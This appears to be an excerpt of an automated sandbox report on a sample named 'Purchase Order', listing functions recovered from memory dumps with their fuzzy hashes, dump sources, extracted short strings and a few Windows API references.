Function 39AB1798 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3239be2c2c301058e495c156aafa9a7356cd5989a4d1e7df1eb123033dc163ef
Instruction ID: 15168d927ed8a6082a42c12ec386c389ce7ae6f2cb6cd3db2e0b6096864e1ace
Opcode Fuzzy Hash: 3239be2c2c301058e495c156aafa9a7356cd5989a4d1e7df1eb123033dc163ef
Instruction Fuzzy Hash: B9A1A3B5E012198FEB64CF6AC944B9EFBF6BF88300F14C1A9D809A7250DB345A85CF51

Function 39AB22E0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4988c3d30bdc2371d93b02328e7e9cdc267132c44936e25c0dd5c961a370e5f
Instruction ID: 7a0f3d2902213bec1ad2fc3560a314904209a21485c0bec607e1a96f83e19ce5
Opcode Fuzzy Hash: b4988c3d30bdc2371d93b02328e7e9cdc267132c44936e25c0dd5c961a370e5f
Instruction Fuzzy Hash: 65A10674D00208CFDB14DFA9C994BDDBBB5FF88314F20826AE409AB2A1DB749985CF51

Function 39AB22D6 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e278ae12d90a00d2395f332cc00d00140fc65f14fbb28e3b3169ee31473574
Instruction ID: e340c4c42582100909e6ad470fb47a330d589be59ab92aacf1efd2a0382642e0
Opcode Fuzzy Hash: d6e278ae12d90a00d2395f332cc00d00140fc65f14fbb28e3b3169ee31473574
Instruction Fuzzy Hash: 04A10674D00208CFEB14DFA8C594BDDBBB5FF89314F20826AE409AB2A1DB749985CF51

Function 39AB10B8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76372c7fa990c3d23c53b33801c9053571474fa01a9f90756802354fad1f2aa8
Instruction ID: d6844dcacfd444bfc71b39e7c4e27df749a632c1d92694ee88ed87b8325fdef1
Opcode Fuzzy Hash: 76372c7fa990c3d23c53b33801c9053571474fa01a9f90756802354fad1f2aa8
Instruction Fuzzy Hash: B6A1B2B5E012198FEB64CF6AC944BDEFBF2AF89300F14C1A9D809A7250DB345A85CF51

Function 39AB2626 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23782dc23937489a6a2f0a9f551768ab3249d7faf1446e5f1a32a2a5878e97c7
Instruction ID: 85ed46c723ca99728e7e0f2df7f7c4a3edd16b8d29ecd731ac23482772be0039
Opcode Fuzzy Hash: 23782dc23937489a6a2f0a9f551768ab3249d7faf1446e5f1a32a2a5878e97c7
Instruction Fuzzy Hash: 5D91F474900318CFEB10DFA8C954BDDBBB5FF49310F20926AE809AB2A1DB749985CF55

Function 39D36A80 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f3570519243c3f1bcbf2963af1c10eff846751aa181aa5a0cb793673e0058e
Instruction ID: cc3a3cf5de8464d1a902e3be472c95fb8ce012ea805be5074556ae9ab2f4c5c6
Opcode Fuzzy Hash: 55f3570519243c3f1bcbf2963af1c10eff846751aa181aa5a0cb793673e0058e
Instruction Fuzzy Hash: 1F81C074E01218CFDB04DFA9D991ADDBBB2BF88304F608529D814BB364DB399946CF50

Function 39D4F1A0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce4ec71a852d3252f01162b03b5d46ab89e83abf47027a89078f453957dfd75
Instruction ID: 874b218e0fd104871a843d44f1ab1fc27f82c1a22ae230f9fee0c45f2b5e637f
Opcode Fuzzy Hash: 4ce4ec71a852d3252f01162b03b5d46ab89e83abf47027a89078f453957dfd75
Instruction Fuzzy Hash: 5181B174E00218DFDB04DFA9D991ADDBBB2BF88300F608529D814BB365DB399946CF40

Function 39D4F4C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b5af0262e5591e69fa01e94677f2380f54be9edfae356c0a828d01352d7dada
Instruction ID: 0e4fa92d9dd601ac1688804ca45e3ab092003f4be96c6491d5952ae11f626bf7
Opcode Fuzzy Hash: 9b5af0262e5591e69fa01e94677f2380f54be9edfae356c0a828d01352d7dada
Instruction Fuzzy Hash: D281B174E00218CFDB04DFA9D991AEDBBB2BF88304F608529D814BB365DB399946CF40

Function 39D47AE0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c830ce4c034a50b968f7aca767cc6daffdce045142509d46670a282ae9e57e39
Instruction ID: c5e9bf7f9da41f88a2bd5077afecb1a6af8d829771c787f98cf04f94ddb24992
Opcode Fuzzy Hash: c830ce4c034a50b968f7aca767cc6daffdce045142509d46670a282ae9e57e39
Instruction Fuzzy Hash: 5F81AF74E00218DFDB04DFA9D991ADDBBB6BF88300F608529D814BB369DB399946CF50

Function 39AB10A7 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe20746e3272e438479b6f6311329d454de290a7aa9c9d0535ff48bf4ea07501
Instruction ID: 20a151c82b2218e03ed9df1362ea0c67aa9ffeda28b461a267261c0260c2fb3e
Opcode Fuzzy Hash: fe20746e3272e438479b6f6311329d454de290a7aa9c9d0535ff48bf4ea07501
Instruction Fuzzy Hash: 7A81A6B5E016198FEB68CF6AC944B9EBBF2BF89300F14C1E9D409A7254DB744A85CF11

Function 0011EC18 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3876f62fe3e1629fda29a90ad15d050f8fcff6ba34c7ffe5b250d1fee3a37fa3
Instruction ID: a460a6be03c4506919958072c87b3d391690376353a9260d4a84bf56d7bf0cfc
Opcode Fuzzy Hash: 3876f62fe3e1629fda29a90ad15d050f8fcff6ba34c7ffe5b250d1fee3a37fa3
Instruction Fuzzy Hash: 1D51A474E00308DFDB18DFAAD984A9DBBF6BF89300F208029E819AB365DB345945CF15

Function 0011EC0A Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be8918fb88ef8868c54b45f6a7c0a55855419665fce19c38ab091387faaef52f
Instruction ID: 5b764ce54ecb0c10681d1a1e28e8e605127920cdc2d227466211ba6239efb4b9
Opcode Fuzzy Hash: be8918fb88ef8868c54b45f6a7c0a55855419665fce19c38ab091387faaef52f
Instruction Fuzzy Hash: 0951B674E00208DFDB18DFEAD984A9DBBF2BF89300F248029E819AB365DB345845CF55

Function 39D15D05 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca60acc4c4fcc6fdcb37bdf3eb5c8f3a1cea467559454557efbe7a19da91e64
Instruction ID: 677589c8165f487f66c98353177ad204b2317e316e047c57cbcdc92b6408cd4a
Opcode Fuzzy Hash: 6ca60acc4c4fcc6fdcb37bdf3eb5c8f3a1cea467559454557efbe7a19da91e64
Instruction Fuzzy Hash: F6414B71D01609CFDB09DFB6E84169DBBB2BF99304F68D46AC414AB2A4DB365842CF40

Function 39D156A7 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32b25df48da1295b8513bc47f997bc547947312d18d0cdfc18587f3ae9a7930
Instruction ID: a4ea022127b993f879720cd98b161e58bbb860e2a090bafb54b52c0e9c1febe3
Opcode Fuzzy Hash: a32b25df48da1295b8513bc47f997bc547947312d18d0cdfc18587f3ae9a7930
Instruction Fuzzy Hash: 1651F1B0D012088BEB18CFAAD8447DDBBF2BF88304F20C16AD418BB250DB395986CF50

Function 39CA7711 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b7e3f46c2b0074bda62f1fe5aadc6ff4dbbd552247e9d2c3e459f63e098f2e
Instruction ID: 2ff68d023228dab365955c25180cb2eee4614f4fcddb8c9b0f380bc3c8571e6e
Opcode Fuzzy Hash: 06b7e3f46c2b0074bda62f1fe5aadc6ff4dbbd552247e9d2c3e459f63e098f2e
Instruction Fuzzy Hash: 4C41D1B0E006098BEB18CFAAD9547DDBBF2BF88304F10C16AD418BB294DB355946CF55

Function 39CA1A40 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7222619f43960bdf27e4b2e90607845ba2df4b16372a5293c2668f8ba17293f1
Instruction ID: fc3ceb34f684d0e5372cc8c6a793047c59c14746e61138a8745226836458bce9
Opcode Fuzzy Hash: 7222619f43960bdf27e4b2e90607845ba2df4b16372a5293c2668f8ba17293f1
Instruction Fuzzy Hash: 1041E574E01208CFEB18DFAAD94469EBBF2BF89300F20D12AC414BB265DB355946CF55

Function 39D41350 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2708ce1ec65a7ab1cfa4311d82caabda9384aed3e8194aa3bb955832bcef00d4
Instruction ID: cf33d58e31be324251d3f8d969349f205b94e1d30ce9008787caf9c9e5dcb639
Opcode Fuzzy Hash: 2708ce1ec65a7ab1cfa4311d82caabda9384aed3e8194aa3bb955832bcef00d4
Instruction Fuzzy Hash: B041D574E01218CBEB08DFAAD9456DEBBF2BF89300F54D16AD418BB264EB355946CF40

Function 39AB1E72 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8c26145eb9ba2f8a5d8cfa04bcee2c0fb821900261722a62ae2c5b37137bfe
Instruction ID: 54cf587d6acefb73af83f90ac206419a80e54b12ea1b3b895def516767151222
Opcode Fuzzy Hash: 1f8c26145eb9ba2f8a5d8cfa04bcee2c0fb821900261722a62ae2c5b37137bfe
Instruction Fuzzy Hash: B341D474D01248CFEB14CFAAC95469DBBF2AF89300F20C22AD815BB265DB355946CF41

Function 39D15D48 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d89fd9ac18bd46dc478566a4d0a673df0d53763942b684cbd74250c0b30cb
Instruction ID: f7e3094fad1b0d4c55b4995103f2fc275ba63667cdbd02c1a6947025b4439cf0
Opcode Fuzzy Hash: 772d89fd9ac18bd46dc478566a4d0a673df0d53763942b684cbd74250c0b30cb
Instruction Fuzzy Hash: 1C410675E006188BEB58DFAAD8406DDFBF2BF89300F50D12AD418BB264EB395946CF40

Function 39CA8B49 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96827bb1bc2cdfd41eea7625d448416ee95694c556ab5f54878be97f092937e2
Instruction ID: 9ac55705689dc73fff303deaaf27e5292305748934cf1fb83d39f702a80d1ad5
Opcode Fuzzy Hash: 96827bb1bc2cdfd41eea7625d448416ee95694c556ab5f54878be97f092937e2
Instruction Fuzzy Hash: 7C41D570E016498FEB08DFAAD9506DEBBF2BF89304F10D12AD418BB264DB395946CF40

Function 00119150 Relevance: 26.9, Strings: 21, Instructions: 695
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jUX6, xrefs: 00119383
jUX6, xrefs: 001191D1
jUX6, xrefs: 00119452
jUX6, xrefs: 00119497
jUX6, xrefs: 0011933E
jUX6, xrefs: 0011940D
jUX6, xrefs: 00119195
jUX6, xrefs: 0011926F
jUX6, xrefs: 001195C8
jUX6, xrefs: 0011922A
jUX6, xrefs: 001191EE
$]q, xrefs: 00119C74
jUX6, xrefs: 001192B4
$]q, xrefs: 00119C97
jUX6, xrefs: 001193C8
jUX6, xrefs: 001192F9
jUX6, xrefs: 0011917B
jUX6, xrefs: 001195AB
jUX6, xrefs: 001194DC
jUX6, xrefs: 00119566
jUX6, xrefs: 00119521

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$jUX6$$]q$$]q
API String ID: 0-2235420872
Opcode ID: 65dbf81161c792b3b4ee4edd29f634c6a8e7c5dab291dbe7b9f72e96aeb1e40b
Instruction ID: fb8ef99cbb433ddb3d4cf9f8c1779ff1988f55d471fe157e6d5bc3bda4fe4243
Opcode Fuzzy Hash: 65dbf81161c792b3b4ee4edd29f634c6a8e7c5dab291dbe7b9f72e96aeb1e40b
Instruction Fuzzy Hash: 52525270A00218CFEB55DBA4D960B9EBBB7EF84300F1080A9D54A6B366CF359E85DF51

Function 39AB3768 Relevance: 6.6, Strings: 5, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 39AB39B1
8bq, xrefs: 39AB3BA9
Haq, xrefs: 39AB37B6
TJbq, xrefs: 39AB3BE2
Haq, xrefs: 39AB3952

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: 8bq$Haq$Haq$Haq$TJbq
API String ID: 0-1597716666
Opcode ID: a14a955fa4b785003980897bd6fa33500d33602347c9d27e354464fa4ef21be2
Instruction ID: 1bac8879fbbb5b99ebda50a8611c53130b1f963cb9b2bc605470a5c00f71492d
Opcode Fuzzy Hash: a14a955fa4b785003980897bd6fa33500d33602347c9d27e354464fa4ef21be2
Instruction Fuzzy Hash: FBD13974B052448FDB05DB68C890A9E7FBAEF89720F144269E805DF3A1CE71ED46CB91

Function 39EA8F9A Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39EA9026
GetCurrentThread.KERNEL32 ref: 39EA9063
GetCurrentProcess.KERNEL32 ref: 39EA90A0
GetCurrentThreadId.KERNEL32 ref: 39EA90F9

Memory Dump Source

Source File: 00000004.00000002.3387241222.0000000039EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ea0000_Purchase Order.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1126f92cdd3750e00f76e46ba3279898fb7557fc7094ce0b6b42f464878844f8
Instruction ID: fd3ff9f165751da118aba9ad8372852864d509f79752a71e5283691afac000e0
Opcode Fuzzy Hash: 1126f92cdd3750e00f76e46ba3279898fb7557fc7094ce0b6b42f464878844f8
Instruction Fuzzy Hash: 975156B0905349CFDB14DFA9C588BAEBFF1AF89310F248059D009AB361C739A944CF65

Function 39EA8FA8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39EA9026
GetCurrentThread.KERNEL32 ref: 39EA9063
GetCurrentProcess.KERNEL32 ref: 39EA90A0
GetCurrentThreadId.KERNEL32 ref: 39EA90F9

Memory Dump Source

Source File: 00000004.00000002.3387241222.0000000039EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ea0000_Purchase Order.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 40079c9fd3fb6727107a018e76441a21cde38c15e3c7a856d27752aa69e78bf8
Instruction ID: 1b3d1c60c60b913d35af1a629bc10f035a51c3ac8182ad056d5b8aa0c57bf6fe
Opcode Fuzzy Hash: 40079c9fd3fb6727107a018e76441a21cde38c15e3c7a856d27752aa69e78bf8
Instruction Fuzzy Hash: 3F5138B0901249CFDB14DFA9D589B9EBBF5FF88310F208459D009A7360D735A941CFA5

Function 39AB31D0 Relevance: 5.3, Strings: 4, Instructions: 283COMMON

Download Yara Rule

Strings

Haq, xrefs: 39AB343B
Haq, xrefs: 39AB346E
Haq, xrefs: 39AB34A1
, xrefs: 39AB32CD

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: $Haq$Haq$Haq
API String ID: 0-432640594
Opcode ID: 86f71256d29adab75bce4b92169c6fb07801799ba6f826931b326cd1a54a6cbf
Instruction ID: d9bfbdab402af2850bbfecbfea20ad70cc2493f9549d7189456199e94ac1d760
Opcode Fuzzy Hash: 86f71256d29adab75bce4b92169c6fb07801799ba6f826931b326cd1a54a6cbf
Instruction Fuzzy Hash: 6CA111347052449FDF159F78889526E3BAAAFC57A0F10432AE812DB3E1CF749D42CBA1

Function 00119D48 Relevance: 4.2, Strings: 3, Instructions: 499COMMON

Download Yara Rule

Strings

4']q, xrefs: 00119D97
;]q, xrefs: 0011A18C
4']q, xrefs: 00119D71

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4']q$4']q$;]q
API String ID: 0-1096896373
Opcode ID: a44c587251df2804b8aa187c82771486ccbf1f750b7d06b64e4d1b23d90ff1f5
Instruction ID: 2765049594d5919dda016733fdd88d3e1774203aa8be4130555d19cdca1555e6
Opcode Fuzzy Hash: a44c587251df2804b8aa187c82771486ccbf1f750b7d06b64e4d1b23d90ff1f5
Instruction Fuzzy Hash: 7EF190303462018FDB1D9B29C964BB97BA6AF85704F6544BAE412CF3B1EB69CCC1C752

Function 39CA93E9 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA972B
D@, xrefs: 39CA95EE
D@, xrefs: 39CA9799

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$D@$D@
API String ID: 0-3330130650
Opcode ID: e48211263904239b879cfcbcb92ece7291a77f0ae38d04779b7a36cd170bbfd0
Instruction ID: a03ff14fe92b1a7dc279cd7882a196cabe5edc73db3b3ddb48f0e3bdb07a7c02
Opcode Fuzzy Hash: e48211263904239b879cfcbcb92ece7291a77f0ae38d04779b7a36cd170bbfd0
Instruction Fuzzy Hash: CCC1AF74E002698FDB64DF68C855BDEBBB2BB88300F1085E9D50DA7291EB709E85DF50

Function 39CA93F8 Relevance: 4.0, Strings: 3, Instructions: 232COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA972B
D@, xrefs: 39CA95EE
D@, xrefs: 39CA9799

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$D@$D@
API String ID: 0-3330130650
Opcode ID: cfab60b873276f5af1e0c04e72290efbe3d27d97588d47cf1aa045a842df6ff8
Instruction ID: 72d2bc7e360f9c4bc9602efa6540f2d6e465ea002bb4f149407d1b3ee0b2e290
Opcode Fuzzy Hash: cfab60b873276f5af1e0c04e72290efbe3d27d97588d47cf1aa045a842df6ff8
Instruction Fuzzy Hash: 5CB1BE74E002698FDB64DF68C851BDEBBB2BB88300F1085E9D50DA7291EB749E85DF50

Function 00116C00 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

Haq, xrefs: 00116D1E
Haq, xrefs: 00116CEB

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: ff6dc98f8a12d3c129c7095195a604b14dd272664d954bb18c36edc64d01e335
Instruction ID: b13ff7290fef8cbe6335408d504e2e6cf8241ff651f58f71112ca157279290d2
Opcode Fuzzy Hash: ff6dc98f8a12d3c129c7095195a604b14dd272664d954bb18c36edc64d01e335
Instruction Fuzzy Hash: F1B1D0343042558FCB199F38D864BBA7BE2AF88301F154579E946CB3A1DB76CC82D791

Function 00117160 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,aq, xrefs: 00117240
,aq, xrefs: 00117236

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 0e7c0afa7cb3c8d4feb2bfb44fedbf91b747fb2a246fa98d59e32d83d4d97efb
Instruction ID: 5b744d792a7d825179034a436afb4b01f4ece3d76cbbf29acd8e68d33e36be9c
Opcode Fuzzy Hash: 0e7c0afa7cb3c8d4feb2bfb44fedbf91b747fb2a246fa98d59e32d83d4d97efb
Instruction Fuzzy Hash: 18817E34A08505CFCB1CCF69C8849EAB7B2BF89311B258579E815DB3A5DB31EC82DB51

Function 0011BB78 Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0011BD39
(o]q, xrefs: 0011BB8D

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: (o]q$(o]q
API String ID: 0-1858875562
Opcode ID: 71e6548dc555fdc182f0167cdf623b136ab710bd5a007108abd03a5405fa7aaf
Instruction ID: 06db8caa79238d4ab3a9c0feddb0800bdfd73e989dac643c76176d7975b95914
Opcode Fuzzy Hash: 71e6548dc555fdc182f0167cdf623b136ab710bd5a007108abd03a5405fa7aaf
Instruction Fuzzy Hash: 41719331B046058FCB08DF69D894AEEBBF6BF88710B158569E506D73A6DB34DC81CB90

Function 39CA8610 Relevance: 2.7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

Strings

(aq, xrefs: 39CA87EA
(&]q, xrefs: 39CA872B

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: (&]q$(aq
API String ID: 0-1602648543
Opcode ID: dcb25beff33684cf9d8b2fd0b57ba4953a632eb46886607a47ebbfa4a258eb5b
Instruction ID: e67ebd9ccfc4c47661a26f7e6d84f4ea63c5a45585e145b07e98ded13c3a9374
Opcode Fuzzy Hash: dcb25beff33684cf9d8b2fd0b57ba4953a632eb46886607a47ebbfa4a258eb5b
Instruction Fuzzy Hash: AF716F31F002199BDB05EFA9D8616EEBBB2BF85740F108529E405EB281DF34AD46CB91

Function 39CA9C08 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA9D9A
nKuq, xrefs: 39CA9CB6

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$nKuq
API String ID: 0-3411600045
Opcode ID: 4eb0db873969f7d8e1b26e9bd80a87a33654569c9be01003fb94eefdabd9c27f
Instruction ID: 821a38b7e57b62b9c67e93202e022fedf30ce6356db1d9d89c5d35b872b923fc
Opcode Fuzzy Hash: 4eb0db873969f7d8e1b26e9bd80a87a33654569c9be01003fb94eefdabd9c27f
Instruction Fuzzy Hash: 2561A074E002199FDB04CFE9D955AEEBBB2FF88300F10842AD819AB364DB355946DF50

Function 39CA9E00 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA9EB6
D@, xrefs: 39CA9F81

